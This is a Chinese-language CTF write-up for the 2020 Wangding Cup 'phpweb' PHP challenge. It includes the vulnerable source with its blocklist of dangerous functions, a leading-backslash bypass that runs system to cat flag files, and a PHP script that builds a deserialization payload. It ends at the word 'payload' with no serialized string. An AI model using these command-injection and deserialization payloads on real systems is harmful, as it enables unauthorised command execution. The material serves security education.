[网鼎杯 2020 朱雀组]phpweb

news2024/11/19 4:14:08

信息收集

方法一：in_array()函数绕过

方法二：反序列化漏洞利用

信息收集

抓个包，发现POST传入以下内容

func=date&p=Y-m-d+h%3Ai%3As+a

func和p的值分别为一个待执行的函数和函数的参数

构造payload

尝试func=phpinfo&p= 回显 Hacker... 说明对该函数进行了过滤

Warning: call_user_func() expects parameter 1 to be a valid callback, function 'phpinfo()' not found or invalid function name in /var/www/html/index.php on line 24

回显发现有个/var/www/html/index.php，尝试读取该文件

常见的读取文件的函数

<?php
// file_get_contents
print(sprintf("%'-10s%-'-30s", '-', 'file_get_contents').PHP_EOL);
echo file_get_contents('flag.txt');
echo PHP_EOL;
// fopen fread
print(sprintf("%'-10s%-'-30s", '-', 'fopen fread').PHP_EOL);
$file = fopen("flag.txt","rb");
echo fread($file,1024);     // 参数为 resource 类型
fclose($file);
echo PHP_EOL;
// fopen fgets
print(sprintf("%'-10s%-'-30s", '-', 'fopen fgets').PHP_EOL);
$file = fopen("flag.txt","r");      
echo fgets($file, 4096);        // 过滤掉了 HTML 和 PHP 标签
fclose($file);
echo PHP_EOL;
// fopen fgetss
print(sprintf("%'-10s%-'-30s", '-', 'fopen fgetss').PHP_EOL);
$file = fopen("flag.txt","r");     
echo fgetss($file, 4096);        // 过滤掉了 HTML 和 PHP 标签
fclose($file);
echo PHP_EOL;
// readfile
print(sprintf("%'-10s%-'-30s", '-', 'readfile').PHP_EOL);
echo readfile("flag.txt");      // 看到不仅输出了所有内容，而且还输出了总共长度
echo PHP_EOL;
// file
print(sprintf("%'-10s%-'-30s", '-', 'file').PHP_EOL);
print_r(file('flag.txt'));      // 读取结果为数组，所以需要用 print_r 或 var_dump 
echo PHP_EOL;
// parse_ini_file
print(sprintf("%'-10s%-'-30s", '-', 'parse_ini_file').PHP_EOL);
echo parse_ini_file("flag.txt");        // 只能读取 ini 配置文件
echo PHP_EOL;
// show_source
print(sprintf("%'-10s%-'-30s", '-', 'show_source').PHP_EOL);
show_source('flag.txt');
echo PHP_EOL;
// highlight_file
print(sprintf("%'-10s%-'-30s", '-', 'highlight_file').PHP_EOL);
highlight_file('flag.txt');
echo PHP_EOL;
?>

构造payload

func=readfile&p=index.php

   <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

方法一：in_array()函数绕过

<?php
$func='\system';
$p='whoami';
echo call_user_func($func, $p);
?>

<?php
echo \system("whoami");
?>

func=\system&p=cat $(find / -name flag*)

方法二：反序列化漏洞利用

未禁用 unserialize，我们可以通过call_user_func来unserialize反序列化构建出Test类，当类被回收时执行gettime函数，通过控制类中p和func的值配合call_user_func实现命令执行。

call_user_func()函数，会对我们传入的参数进行命令（代码）执行

system("find / -name flag*")：查找所有文件名匹配flag*的文件

system("cat $(find / -name flag)")：打印所有文件名匹配flag*的文件

<?php 
function gettime($func, $p) {
    $result = call_user_func($func, $p);
    $a= gettype($result);
    if ($a == "string") {
        return $result;
    } else {return "";}
}
class Test {
    var $p = "cat $(find / -name flag*)";
    var $func = "system";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}
$a = new Test();
echo serialize($a);
 ?>

payload